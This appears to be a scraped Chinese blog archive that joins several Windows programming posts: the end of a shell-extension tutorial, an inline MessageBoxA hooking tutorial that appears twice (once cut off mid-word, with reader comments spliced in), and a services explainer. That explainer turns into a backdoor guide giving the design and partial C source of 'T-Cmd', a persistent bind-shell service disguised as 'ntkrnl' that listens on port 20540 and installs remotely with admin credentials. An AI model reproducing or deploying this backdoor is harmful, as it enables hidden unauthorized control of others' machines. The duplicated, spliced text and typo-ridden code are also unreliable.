              //检查 idCmd, 它必须是0,因为我们仅有一个添加的菜单项.

              if ( 0 != idCmd )

                     return E_INVALIDARG;

             

              // 如果 Explorer 要求帮助字符串,就将它拷贝到提供的缓冲区中.

              if ( uFlags & GCS_HELPTEXT )

              {

                     LPCTSTR szText = _T("透明图标");             

                     if ( uFlags & GCS_UNICODE )

                     {

                            // 我们需要将 pszName 转化为一个 Unicode 字符串, 接着使用Unicode字符串拷贝 API.

                            lstrcpynW ( (LPWSTR) pszName, T2CW(szText), cchMax );

                     }

                     else

                     {

                            // 使用 ANSI 字符串拷贝API 来返回帮助字符串.

                            lstrcpynA ( pszName, T2CA(szText), cchMax );

                     }

                     return S_OK;

              }

              return E_INVALIDARG;

 


 }

这里没有什么特别的代码; 我用了硬编码的字符串并把它转换为相应的字符集.
如果你从未使用过ATL字符串转化宏,你一定要学一下,因为当你传递Unicode字符串到COMOLE函数时,使用转化宏会很有帮助的
.
我在上面的代码中使用了T2CW T2CA TCHAR 字符串分别转化为Unicode ANSI字符串
.
函数开头处的USES_CONVERSION 宏其实声明了一个将被转化宏使用的局部变量
.

要注意的一个问题是: lstrcpyn() 保证了目标字符串将以null为结束符
.
这与C运行时(CRT) strncpy()不同. 当要拷贝的源字符串的长度大于或等于cchMax strncpy()不会添加一个 null 结束符
.
我建议总使用lstrcpyn(), 这样你就不必在每一个strncpy()后加入检查保证字符 串以 null为结束符的代码
.

执行用户的选择

IContextMenu
接口的最后一个方法是 InvokeCommand(). 当用户点击我们添加的菜单项时该方法将被调用. 其函数原型是:

HRESULT IContextMenu::InvokeCommand ( LPCMINVOKECOMMANDINFO pCmdInfo );

CMINVOKECOMMANDINFO 结构带有大量的信息, 但我们只关心 lpVerb hwnd 这两个成员.
lpVerb
参数有两个作用 它或是可被激发的verb(动作), 或是被点击的菜单项的索引值
.
hwnd
是用户激活我们的菜单扩展时所在的浏览器窗口的句柄
.

因为我们只有一个扩展的菜单项, 我们只要检查lpVerb 参数, 如果其值为0, 我们可以认定我们的菜单项被点击了
.
我能想到的最简单的代码就是弹出一个信息框, 这里的代码也就做了这么多. 信息框显示所选的文件的文件名以证实代码正确地工作
.

HRESULT CSimpleShlExt::InvokeCommand ( LPCMINVOKECOMMANDINFO pCmdInfo )


{


    // 如果lpVerb 实际指向一个字符串, 忽略此次调用并退出.

    if ( 0 != HIWORD( pCmdInfo->lpVerb ))

       {

        return E_INVALIDARG;

       }

    // 点击的命令索引 在这里,唯一合法的索引为0.

    switch ( LOWORD( pCmdInfo->lpVerb ))

       {

       case 0:

              {

                     HWND Wnd;

                     Wnd=::GetDesktopWindow();

                     Wnd=FindWindowEx(Wnd, 0, "Progman", NULL);

                     Wnd = ::FindWindowEx(Wnd, 0, "SHELLDLL_DefView", NULL);

                     Wnd = ::FindWindowEx(Wnd, 0, "SysListView32", NULL);

                     ::SendMessage(Wnd, LVM_SETTEXTBKCOLOR, 0, 0xffffffff);

                     ::InvalidateRect(Wnd, NULL, TRUE);

 

            return S_OK;

              }

        break;

       default:

              return E_INVALIDARG;

        break;

               }


}

注册Shell扩展
现在我们已经实现了所有需要的COM接口. 可是我们怎样才能让浏览器使用我们的扩展呢?
ATL
自动生成注册COM DLL服务器的代码, 但这只是让其它程序可以使用我们的DLL.

最后,在shell版本 4.71+中, 你可以让上下文菜单在用户右击浏览器窗口(包括桌面)的背景时激发.
要让你的扩展在这种情况下被激发,需要在HKCR\Directory\Background\shellex\ContextMenuHandlers 键下进行注册.
使用该方法, 你可以添加定制菜单到桌面或任意目录上下文菜单.
这时传送到 IShellExtInit::Initialize()的参数有些不同,所以我将在以后的文章中讲述这方面的内容.


2005年05月26日

  简介:

  Api拦截并不是一个新的技术,很多商业软件都采用这种技术。对windows的Api函数的拦截,不外乎两种方法,第一种是Mr. Jeffrey Richter 的修改exe文件的模块输入节,种方法,很安全,但很复杂,而且有些exe文件,没有Dll的输入符号的列表,有可能出现拦截不到的情况。第二种方法就是常用的JMP XXX的方法,虽然很古老,却很简单实用。

  本文一介绍第二种方法在Win2k下的使用。第二种方法,Win98/me 下因为进入Ring0级的方法很多,有LDT,IDT,Vxd等方法,很容易在内存中动态修改代码,但在Win2k下,这些方法都不能用,写WDM太过复杂,表面上看来很难实现,其实不然。Win2k为我们提供了一个强大的内存Api操作函数—VirtualProtectEx,WriteProcessMemeory,ReadProcessMemeory,有了它们我们就能在内存中动态修改代码了,其原型为:


BOOL VirtualProtectEx(
 HANDLE hProcess, // 要修改内存的进程句柄
 LPVOID lpAddress, // 要修改内存的起始地址
 DWORD dwSize, // 修改内存的字节
 DWORD flNewProtect, // 修改后的内存属性
 PDWORD lpflOldProtect // 修改前的内存属性的地址
);
BOOL WriteProcessMemory(
 HANDLE hProcess, // 要写进程的句柄
 LPVOID lpBaseAddress, // 写内存的起始地址
 LPVOID lpBuffer, // 写入数据的地址
 DWORD nSize, // 要写的字节数
 LPDWORD lpNumberOfBytesWritten // 实际写入的子节数
);
BOOL ReadProcessMemory(
 HANDLE hProcess, // 要读进程的句柄
 LPCVOID lpBaseAddress, // 读内存的起始地址
 LPVOID lpBuffer, // 读入数据的地址
 DWORD nSize, // 要读入的字节数
 LPDWORD lpNumberOfBytesRead // 实际读入的子节数
);


  具体的参数请参看MSDN帮助。在Win2k下因为Dll和所属进程在同一地址空间,这点又和Win9x/me存在所有进程存在共享的地址空间不同,因此,必须通过钩子函数和远程注入进程的方法,现以一个简单采用钩子函数对MessageBoxA进行拦截例子来说明:

  其中Dll文件为:


HHOOK g_hHook;
HINSTANCE g_hinstDll;
FARPROC pfMessageBoxA;
int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText,LPCTSTR lpCaption,UINT uType);
BYTE OldMessageBoxACode[5],NewMessageBoxACode[5];
HMODULE hModule ;
DWORD dwIdOld,dwIdNew;
BOOL bHook=false;
void HookOn();
void HookOff();
BOOL init();
LRESULT WINAPI MousHook(int nCode,WPARAM wParam,LPARAM lParam);
BOOL APIENTRY DllMain( HANDLE hModule,
 DWORD ul_reason_for_call,
 LPVOID lpReserved
)
{
 switch (ul_reason_for_call)
 {
  case DLL_PROCESS_ATTACH:
   if(!init())
   {
    MessageBoxA(NULL,"Init","ERROR",MB_OK);
    return(false);
   }
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
   if(bHook) UnintallHook();
   break;
 }
 return TRUE;
}
LRESULT WINAPI Hook(int nCode,WPARAM wParam,LPARAM lParam)//空的钩子函数
{
 return(CallNextHookEx(g_hHook,nCode,wParam,lParam));
}
HOOKAPI2_API BOOL InstallHook()//输出安装空的钩子函数
{
 g_hinstDll=LoadLibrary("HookApi2.dll");
 g_hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)Hook,g_hinstDll,0);
 if (!g_hHook)
 {
  MessageBoxA(NULL,"SET ERROR","ERROR",MB_OK);
  return(false);
 }

 return(true);
}
HOOKAPI2_API BOOL UninstallHook()//输出御在钩子函数
{
 return(UnhookWindowsHookEx(g_hHook));
}

BOOL init()//初始化得到MessageBoxA的地址,并生成Jmp XXX(MyMessageBoxA)的跳转指令
{
 hModule=LoadLibrary("user32.dll");
 pfMessageBoxA=GetProcAddress(hModule,"MessageBoxA");
 if(pfMessageBoxA==NULL)
  return false;
 _asm
 {
  lea edi,OldMessageBoxACode
  mov esi,pfMessageBoxA
  cld
  movsd
  movsb
 }
 NewMessageBoxACode[0]=0xe9;//jmp MyMessageBoxA的相对地址的指令
 _asm
 {
  lea eax,MyMessageBoxA
  mov ebx,pfMessageBoxA
  sub eax,ebx
  sub eax,5
  mov dword ptr [NewMessageBoxACode+1],eax
 }
 dwIdNew=GetCurrentProcessId(); //得到所属进程的ID
 dwIdOld=dwIdNew;
 HookOn();//开始拦截
 return(true);
}
int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText,LPCTSTR lpCaption, UINT uType )//首先关闭拦截,然后才能调用被拦截的Api 函数
{
 int nReturn=0;
 HookOff();
 nReturn=MessageBoxA(hWnd,"Hook",lpCaption,uType);
 HookOn();
 return(nReturn);
}
void HookOn()
{
 HANDLE hProc;
 dwIdOld=dwIdNew;
 hProc=OpenProcess(PROCESS_ALL_ACCESS,0,dwIdOld);//得到所属进程的句柄
 VirtualProtectEx(hProc,pfMessageBoxA,5,PAGE_READWRITE,&dwIdOld);
 //修改所属进程中MessageBoxA的前5个字节的属性为可写
 WriteProcessMemory(hProc,pfMessageBoxA,NewMessageBoxACode,5,0);
 //将所属进程中MessageBoxA的前5个字节改为JMP 到MyMessageBoxA
 VirtualProtectEx(hProc,pfMessageBoxA,5,dwIdOld,&dwIdOld);
 //修改所属进程中MessageBoxA的前5个字节的属性为原来的属性
 bHook=true;
}
void HookOff()//将所属进程中JMP MyMessageBoxA的代码改为Jmp MessageBoxA
{
 HANDLE hProc;
 dwIdOld=dwIdNew;
 hProc=OpenProcess(PROCESS_ALL_ACCESS,0,dwIdOld);
 VirtualProtectEx(hProc,pfMessageBoxA,5,PAGE_READWRITE,&dwIdOld);
 WriteProcessMemory(hProc,pfMessageBoxA,OldMessageBoxACode,5,0);
 VirtualProtectEx(hProc,pfMessageBoxA,5,dwIdOld,&dwIdOld);
 bHook=false;
}
//测试文件:
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
 if(!InstallHook())
 {
  MessageBoxA(NULL,"Hook Error!","Hook",MB_OK);
  return 1;
 }
 MessageBoxA(NULL,"TEST","TEST",MB_OK);//可以看见Test变成了Hook,也可以在其他进程中看见
 if(!UninstallHook())
 {
  MessageBoxA(NULL,"Uninstall Error!","Hook",MB_OK);
  return 1;
 }
 return 0;
}


2005年05月25日

简介:
Api拦截并不是一个新的技术,很多商业软件都采用这种技术。对windows的Api函数的拦截,不外乎两种方法,第一种是Mr. Jeffrey Richter 的修改exe文件的模块输入节,种方法,很安全,但很复杂,而且有些exe文件,没有Dll的输入符号的列表,有可能出现拦截不到的情况。第二种方法就是常用的JMP XXX的方法,虽然很古老,却很简单实用。
本文一介绍第二种方法在Win2k下的使用。第二种方法,Win98/me 下因为进入Ring0级的方法很多,有LDT,IDT,Vxd等方法,很容易在内存中动态修改代码,但在Win2k下,这些方法都不能用,写WDM太过复杂,表面上看来很难实现,
其实不然。Win2k为我们提供了一个强大的内存Api操作函数—VirtualProtectEx,WriteProcessMemeory,ReadProcessMemeory,有了它们我们就能在内存中动态修改代码了,其原型为:
BOOL VirtualProtectEx(
HANDLE hProcess, // 要修改内存的进程句柄
LPVOID lpAddress, // 要修改内存的起始地址
DWORD dwSize, // 修改内存的字节
DWORD flNewProtect, // 修改后的内存属性
PDWORD lpflOldProtect // 修改前的内存属性的地址
);
BOOL WriteProcessMemory(
HANDLE hProcess, // 要写进程的句柄
LPVOID lpBaseAddress, // 写内存的起始地址
LPVOID lpBuffer, // 写入数据的地址
DWORD nSize, // 要写的字节数
LPDWORD lpNumberOfBytesWritten // 实际写入的子节数
);
BOOL ReadProcessMemory(
HANDLE hProcess, // 要读进程的句柄
LPCVOID lpBaseAddress, // 读内存的起始地址
LPVOID lpBuffer, // 读入数据的地址
DWORD nSize, // 要读入的字节数
LPDWORD lpNumberOfBytesRead // 实际读入的子节数
);
具体的参数请参看MSDN帮助。在Win2k下因为Dll和所属进程在同一地址空间,这点又和Win9x/me存在所有进程存在共享的地址空间不同,
因此,必须通过钩子函数和远程注入进程的方法,现以一个简单采用钩子函数对MessageBoxA进行拦截例子来说明:
其中Dll文件为:
HHOOK g_hHook;
HINSTANCE g_hinstDll;
FARPROC pfMessageBoxA;
int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText,LPCTSTR lpCaption,UINT uType);
BYTE OldMessageBoxACode[5],NewMessageBoxACode[5];
HMODULE hModule ;
DWORD dwIdOld,dwIdNew;
BOOL bHook=false;
void HookOn();
void HookOff();
BOOL init();
LRESULT WINAPI MousHook(int nCode,WPARAM wParam,LPARAM lParam);
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if(!init())
{
MessageBoxA(NULL,"Init","ERROR",MB_OK);
return(false);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
if(bHook) UnintallHook();
break;
}
return TRUE;
}
LRESULT WINAPI Hook(int nCode,WPARAM wParam,LPARAM lParam)//空的钩子函数
{
return(CallNextHookEx(g_hHook,nCode,wParam,lParam));
}
HOOKAPI2_API BOOL InstallHook()//输出安装空的钩子函数
{
g_hinstDll=LoadLibrary("HookApi2.dll");
g_hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)Hook,g_hinstDll,0);
if (!g_hHook)
{
MessageBoxA(NULL,"SET ERROR","ERROR",MB_OK);
return(false);
}


return(true);
}
HOOKAPI2_API BOOL UninstallHook()//输出御在钩子函数
{

return(UnhookWindowsHookEx(g_hHook));
}

BOOL init()//初始化得到MessageBoxA的地址,并生成Jmp XXX(MyMessageBoxA)的跳转指令
{
hModule=LoadLibrary("user32.


作者相关文章:
IE标题与注册表被锁定的解决办法(收藏)
如何开发自己的操作系统的引导程序?(收藏)
攻破“金山词霸”的技术堡垒!(收藏)


对该文的评论
chrislois(2002-7-19 8:40:51)

请问:对于一个具体很庞大的应用程序,如何来拦截API?Thanks!

kenns2000(2002-7-18 16:56:59)

老大,我对哪个 Mr. Jeffrey Richter 很感兴趣,那里有下的,谢谢告诉我一声

smhpnuaa(2002-7-18 14:56:13)

这么多高手在这里,哎,小弟愿意向各位高手学习
Api拦截并不是一个新的技术,很多商业软件都采用这种技术。对windows的Api函数的拦截,不外乎两种方法,第一种是Mr. Jeffrey Richter 的修改exe文件的模块输入节,种方法,很安全,但很复杂,而且有些exe文件,没有Dll的输入符号的列表,有可能出现拦截不到的情况。第二种方法就是常用的JMP XXX的方法,虽然很古老,却很简单实用。
本文一介绍第二种方法在Win2k下的使用。第二种方法,Win98/me 下因为进入Ring0级的方法很多,有LDT,IDT,Vxd等方法,很容易在内存中动态修改代码,但在Win2k下,这些方法都不能用,写WDM太过复杂,表面上看来很难实现,
其实不然。Win2k为我们提供了一个强大的内存Api操作函数—VirtualProtectEx,WriteProcessMemeory,ReadProcessMemeory,有了它们我们就能在内存中动态修改代码了,其原型为:
BOOL VirtualProtectEx(
HANDLE hProcess, // 要修改内存的进程句柄
LPVOID lpAddress, // 要修改内存的起始地址
DWORD dwSize, // 修改内存的字节
DWORD flNewProtect, // 修改后的内存属性
PDWORD lpflOldProtect // 修改前的内存属性的地址
);
BOOL WriteProcessMemory(
HANDLE hProcess, // 要写进程的句柄
LPVOID lpBaseAddress, // 写内存的起始地址
LPVOID lpBuffer, // 写入数据的地址
DWORD nSize, // 要写的字节数
LPDWORD lpNumberOfBytesWritten // 实际写入的子节数
);
BOOL ReadProcessMemory(
HANDLE hProcess, // 要读进程的句柄
LPCVOID lpBaseAddress, // 读内存的起始地址
LPVOID lpBuffer, // 读入数据的地址
DWORD nSize, // 要读入的字节数
LPDWORD lpNumberOfBytesRead // 实际读入的子节数
);
具体的参数请参看MSDN帮助。在Win2k下因为Dll和所属进程在同一地址空间,这点又和Win9x/me存在所有进程存在共享的地址空间不同,
因此,必须通过钩子函数和远程注入进程的方法,现以一个简单采用钩子函数对MessageBoxA进行拦截例子来说明:
其中Dll文件为:
HHOOK g_hHook;
HINSTANCE g_hinstDll;
FARPROC pfMessageBoxA;
int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText,LPCTSTR lpCaption,UINT uType);
BYTE OldMessageBoxACode[5],NewMessageBoxACode[5];
HMODULE hModule ;
DWORD dwIdOld,dwIdNew;
BOOL bHook=false;
void HookOn();
void HookOff();
BOOL init();
LRESULT WINAPI MousHook(int nCode,WPARAM wParam,LPARAM lParam);
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if(!init())
{
MessageBoxA(NULL,"Init","ERROR",MB_OK);
return(false);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
if(bHook) UnintallHook();
break;
}
return TRUE;
}
LRESULT WINAPI Hook(int nCode,WPARAM wParam,LPARAM lParam)//空的钩子函数
{

return(CallNextHookEx(g_hHook,nCode,wParam,lParam));
}
HOOKAPI2_API BOOL InstallHook()//输出安装空的钩子函数
{
g_hinstDll=LoadLibrary("HookApi2.dll");
g_hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)Hook,g_hinstDll,0);
if (!g_hHook)
{
MessageBoxA(NULL,"SET ERROR","ERROR",MB_OK);
return(false);
}


return(true);
}
HOOKAPI2_API BOOL UninstallHook()//输出御在钩子函数
{

return(UnhookWindowsHookEx(g_hHook));
}

BOOL init()//初始化得到MessageBoxA的地址,并生成Jmp XXX(MyMessageBoxA)的跳转指令
{
hModule=LoadLibrary("user32.dll");
pfMessageBoxA=GetProcAddress(hModule,"MessageBoxA");
if(pfMessageBoxA==NULL)
return false;
_asm
{
lea edi,OldMessageBoxACode
mov esi,pfMessageBoxA
cld
movsd
movsb
}
NewMessageBoxACode[0]=0xe9;//jmp MyMessageBoxA的相对地址的指令
_asm
{
lea eax,MyMessageBoxA
mov ebx,pfMessageBoxA
sub eax,ebx
sub eax,5
mov dword ptr [NewMessageBoxACode+1],eax
}
dwIdNew=GetCurrentProcessId(); //得到所属进程的ID
dwIdOld=dwIdNew;
HookOn();//开始拦截
return(true);
}

int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText,LPCTSTR lpCaption, UINT uType )//首先关闭拦截,然后才能调用被拦截的Api 函数
{
int nReturn=0;
HookOff();
nReturn=MessageBoxA(hWnd,"Hook",lpCaption,uType);
HookOn();
return(nReturn);
}
void HookOn()
{
HANDLE hProc;
dwIdOld=dwIdNew;
hProc=OpenProcess(PROCESS_ALL_ACCESS,0,dwIdOld);//得到所属进程的句柄
VirtualProtectEx(hProc,pfMessageBoxA,5,PAGE_READWRITE,&dwIdOld);//修改所属进程中MessageBoxA的前5个字节的属性为可写
WriteProcessMemory(hProc,pfMessageBoxA,NewMessageBoxACode,5,0);//将所属进程中MessageBoxA的前5个字节改为JMP 到MyMessageBoxA
VirtualProtectEx(hProc,pfMessageBoxA,5,dwIdOld,&dwIdOld);//修改所属进程中MessageBoxA的前5个字节的属性为原来的属性
bHook=true;
}
void HookOff()//将所属进程中JMP MyMessageBoxA的代码改为Jmp MessageBoxA
{
HANDLE hProc;
dwIdOld=dwIdNew;
hProc=OpenProcess(PROCESS_ALL_ACCESS,0,dwIdOld);
VirtualProtectEx(hProc,pfMessageBoxA,5,PAGE_READWRITE,&dwIdOld);
WriteProcessMemory(hProc,pfMessageBoxA,OldMessageBoxACode,5,0);
VirtualProtectEx(hProc,pfMessageBoxA,5,dwIdOld,&dwIdOld);
bHook=false;
}
//测试文件:
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

if(!InstallHook())
{
MessageBoxA(NULL,"Hook Error!","Hook",MB_OK);
return 1;
}
MessageBoxA(NULL,"TEST","TEST",MB_OK);//可以看见Test变成了Hook,也可以在其他进程中看见
if(!UninstallHook())
{
MessageBoxA(NULL,"Uninstall Error!","Hook",MB_OK);
return 1;
}
return 0;
}

2005年05月24日

  一、序言

  Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准,它们会在登录系统时自动运行,甚至在没有用户登录系统的情况下也会正常执行,类似与UNIX系统中的守护进程(daemon)。它们大多是控制台程序,不过也有少数的GUI程序。本文所涉及到的服务程序仅限于Windows2000/XP系统中的一般服务程序,不包含Windows9X。

  二、Windows服务简介

  服务控制管理器拥有一个在注册表中记录的数据库,包含了所有已安装的服务程序和设备驱动服务程序的相关信息。它允许系统管理员为每个服务自定义安全要求和控制访问权限。Windows服务包括四大部分:服务控制管理器(Service Control Manager),服务控制程序(Service Control Program),服务程序(Service Program)和服务配置程序(Service Configuration Program)。

  1.服务控制管理器(SCM)

  服务控制管理器在系统启动的早期由Winlogon进程启动,可执行文件名是“Admin$\System32\Services.exe”,它是系统中的一个RPC服务器,因此服务配置程序和服务控制程序可以在远程操纵服务。它包括以下几方面的信息:

  已安装服务数据库:服务控制管理器在注册表中拥有一个已安装服务的数据库,它在服务控制管理器和程序添加,删除,配置服务程序时使用,在注册表中数据库的位置为:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。它包括很多子键,每个子键的名字就代表一个对应的服务。数据库中包括:服务类型(私有进程,共享进程),启动类型(自动运行,由服务控制管理器启动,无效),错误类型(忽略,常规错误,服务错误,关键错误),执行文件路径,依赖信息选项,可选用户名与密码。

  自动启动服务:系统启动时,服务控制管理器启动所有“自启”服务和相关依赖服务。服务的加载顺序:顺序装载组列表:

  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ServiceGroupOrder;指定组列表:    
  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\GroupOrderList;每个服务所依赖的服务程序。

  在系统成功引导后会保留一份LKG(Last-Know-Good)的配置信息位于:

  HKEY_LOCAL_MACHINE\SYSTEM\ControlSetXXX\Services。

  因要求而启动服务:用户可以使用服务控制面板程序来启动一项服务。服务控制程序也可以使用StartService来启动服务。服务控制管理器会进行下面的操作:获取帐户信息,登录服务项目,创建服务为悬挂状态,分配登录令牌给进程,允许进程执行。

  服务记录列表:每项服务在数据库中都包含了下面的内容:服务名称,开始类型,服务状态(类型,当前状态,接受控制代码,退出代码,等待提示),依赖服务列表指针。

  服务控制管理器句柄:服务控制管理器支持句柄类型访问以下对象:已安装服务数据库,服务程序,数据库的锁开状态。

  2.服务控制程序(SCP)

  服务控制程序可以执行对服务程序的开启,控制和状态查询功能:

  开启服务:如果服务的开启类型为SERVICE_DEMAND_START,就可以用服务控制程序来开始一项服务。在开始服务的初始化阶段服务的当前状态为:SERVICE_START_PENDING,而在初始化完成后的状态就是:SERVICE_RUNNING。

  向正在运行的服务发送控制请求:控制请求可以是系统默认的,也可以是用户自定义的。标准控制代码如下:停止服务(SERVICE_CONTROL_STOP),暂停服务(SERVICE_CONTROL_PAUSE),恢复已暂停服务(SERVICE_CONTROL_CONTINUE),获得更新信息(SERVICE_CONTROL_INTERROGATE)。

  3.服务程序

  一个服务程序可能拥有一个或多个服务的执行代码。我们可以创建类型为SERVICE_WIN32_OWN_PROCESS的只拥有一个服务的服务程序。而类型为SERVICE_WIN32_SHARE_PROCESS的服务程序却可以包含多个服务的执行代码。详情参见后面的Windows服务与编程。

  4.服务配置程序

  编程人员和系统管理员可以使用服务配置程序来更改,查询已安装服务的信息。当然也可以通过注册表函数来访问相关资源。

  服务的安装,删除和列举:我们可以使用相关的系统函数来创建,删除服务和查询所有服务的当前状态。

  服务配置:系统管理员通过服务配置程序来控制服务的启动类型,显示名称和相关描述信息。


  三、Windows服务与编程

  Windows服务编程包括几方面的内容,下面我们将从服务控制程序,服务程序和服务配置程序的角度介绍服务编程相关的内容。

  1.服务控制程序

  执行服务控制程序的相关函数前,我们需要获得一个服务对象的句柄,方式有两种:由OpenSCManager来获得一台特定主机的服务控制管理器数据库的句柄;使用OpenService或CreateService函数来获得某个服务对象的句柄。

  启动服务:要启动一个服务,服务控制程序可以使用StartService来实现。如果服务控制管理器数据库被锁定,那需要等待一定的时间然后再次测试StartService函数。当然也可以使用QueryServiceLockStatus函数来确认数据库的当前状态。在启动成功完成时,那么dwCurrentState参数将会返回SERVICE_RUNNING值。

  服务控制请求:服务控制程序使用ControlService函数来发送控制请求到正在运行的服务程序。它会向控制句柄函数发送一个特定的控制命令,可以是系统默认的,也可以是用户自定义的。而且每个服务都会确定自己将会接收的控制命令列表。使用QueryServiceStatus函数时,在返回的dwControlsAccepted参数中表明服务程序将会接收的控制命令。所有的服务都会接受SERVICE_CONTROL_INTERROGATE命令。

  2.服务程序

  一个服务程序内可以包含一个服务或多个服务的执行代码,但是它们都拥有固定的三个部分:服务main函数,服务ServiceMain函数和服务Control Handler函数。

  服务main函数:服务程序通常是以控制台的方式存在的,所以它们的入口点都是main函数。在服务控制管理器开始一个服务程序时,会等待StartServiceCtrlDispatcher函数的执行。如果服务类型是SERVICE_WIN32_OWN_PROCESS就会立即调用StartServiceCtrlDispatcher函数的执行;如果服务类型是SERVICE_WIN32_SHARE_PROCESS,通常在初始化所有服务之后再调用它。StartServiceCtrlDispatcher函数的参数就是一个SERVICE_TABLE_ENTRY结构,它包含了进程内所有服务的名称和服务入口点。

  服务ServiceMain函数:函数ServiceMain是服务的入口点。在服务控制程序请求一个新的服务启动时,服务控制管理器启动一个服务,并发送一个开始请求到控制调度程序,而后控制调度程序创建一个新线程来执行ServiceMain函数。ServiceMain须执行以下的任务:调用RegisterServiceCtrlHandler函数注册一个HandlerEx函数来向服务发送控制请求信息,返回值是服务状态句柄用来向服务控制管理器传送服务状态。初始化后调用SetServiceStatus函数设置服务状态为SERVICE_RUNNING。最后,就是执行服务所要完成的任务。

  服务Control Handler函数:每个服务都有一个控制句柄HandlerEx函数。它会在服务进程从服务控制程序接收到一个控制请求时被控制调度程序所调用。无论何时在HandlerEx函数被调用时,都要调用SetServiceStatus函数向服务控制管理器报告它当前的状态。在用户关闭系统时,所有的控制句柄都会调用带有SERVICE_ACCEPT_SHUTDOW控制代码的SetServiceStatus函数来接收NSERVICE_CONTROL_SHUTDOWN控制代码。

  3.服务配置程序

  服务配置程序可以更改或查询服务的当前配置信息。在调用服务配置函数之前,必须获得一个服务对象的句柄,当然我们可以通过调用OpenSCManager,OpenService或CreateService函数来获得。

  创建,删除服务:服务配置程序使用CreateService函数在服务控制管理器的数据库中安装一个新服务,它会提供服务的名称和相关的配置信息并存储在数据库中。服务配置程序则使用DeleteService函数从数据库中删除一个已经安装的服务。

  四、服务级后门技术

  在你进入某个系统后,往往会为自己留下一个或多个后门,以便今后的访问。在上传一个后门程序到远程系统上后系统重启之时,总是希望后门仍然存在。那么,将后门程序创建成服务程序应该是个不错的想法,这就是利用了服务程序自动运行的机制,当然在Windows2000的任务管理器里也很难结束一个服务程序的进程。

  创建一个后门,它常常会在一个端口监听,以方便我们使用TCP/UDP协议与远程主机建立连接,所以我们首先需要在后门程序里创建一个监听的端口,为了数据传输的稳定与安全,我们可以使用TCP协议。

  那么,我们如何才能模拟一个Telnet服务似的后门呢?我想大家都清楚,如果在远程主机上有一个Cmd是我们可以控制的,也就是我们可以在这个Cmd里执行命令,那么就可以实现对远程主机的控制了,至少可以执行各种常规的系统命令。启动一个Cmd程序的方法很多,有WinExec,ShellExecute,CreateProcess等,但只能使用CreateProcess,因为WinExec和ShellExecute它们实在太简单了。在使用CreateProcess时,要用到它的重定向标准输入/输出的选项功能,把在本地主机的输入重定向输入到远程主机的Cmd进程,并且把远程主机Cmd进程的标准输出重定向到本地主机的标准输出。这就需要在后门程序里使用CreatePipe创建两个管道来实现进程间的数据通信(Inter-Process Communication,IPC)。当然,还必须将远程主机上Cmd的标准输入和输出在本地主机之间进行传送,我们选择TCP协议的send和recv函数。在客户结束访问后,还要调用TerminateProcess来结束创建的Cmd进程。

  五、关键函数分析

  本文相关程序T-Cmd v1.0是一个服务级的后门程序,适用平台为Windows2000/XP。它可自动为远程/本地主机创建服务级后门,无须使用任何额外的命令,支持本地/远程模式。重启后,程序仍然自动运行,监听端口20540/tcp。

  1.自定义数据结构与函数


typedef struct
{
HANDLE hPipe;
//为实现进程间通信而使用的管道;
SOCKET sClient;
//与客户端进行通信时的客户端套接字;
}SESSIONDATA,*PSESSIONDATA;
//重定向Cmd标准输入/输出时使用的数据结构;

typedef struct PROCESSDATA
{
HANDLE hProcess;
//创建Cmd进程时获得的进程句柄;
DWORD dwProcessId;
//创建Cmd进程时获得的进程标识符;
struct PROCESSDATA *next;
//指向下一个数据结构的指针;
}PROCESSDATA,*PPROCESSDATA;
//在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构;

void WINAPI CmdStart(DWORD,LPTSTR *);
//服务程序中的“ServiceMain”:注册服务控制句柄,创建服务主线程;
void WINAPI CmdControl(DWORD);
//服务程序中的“HandlerEx”:处理接收到的控制命令,删除已创建的Cmd进程;
DWORD WINAPI CmdService(LPVOID);
//服务主线程,创建服务监听端口,在接受客户连接时,创建重定向Cmd标准输入/输出线程;
DWORD WINAPI CmdShell(LPVOID);
//创建管道与Cmd进程,及Cmd的输入/输出线程;
DWORD WINAPI ReadShell(LPVOID);
//重定向Cmd的输出,读取信息后发送到客户端;
DWORD WINAPI WriteShell(LPVOID);
//重定向Cmd的输入,接收客户端的信息输入到Cmd进程;
BOOL ConnectRemote(BOOL,char *,char *,char *);
//如果选择远程模式,则须与远程主机建立连接,注须提供管理员权限的用户名与密码,密码为空时用"NULL"代替;
void InstallCmdService(char *);
//复制传送文件,打开服务控制管理器,创建或打开服务程序;
void RemoveCmdService(char *);
//删除文件,停止服务后,卸载服务程序;



  2.服务程序相关函数


SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
//服务程序的名称和入口点;
{NULL ,NULL }
//SERVICE_TABLE_ENTRY结构必须以“NULL”结束;
};
StartServiceCtrlDispatcher(DispatchTable);
//连接服务控制管理器,开始控制调度程序线程;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
//注册CmdControl函数为“HandlerEx”函数,并初始化;
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
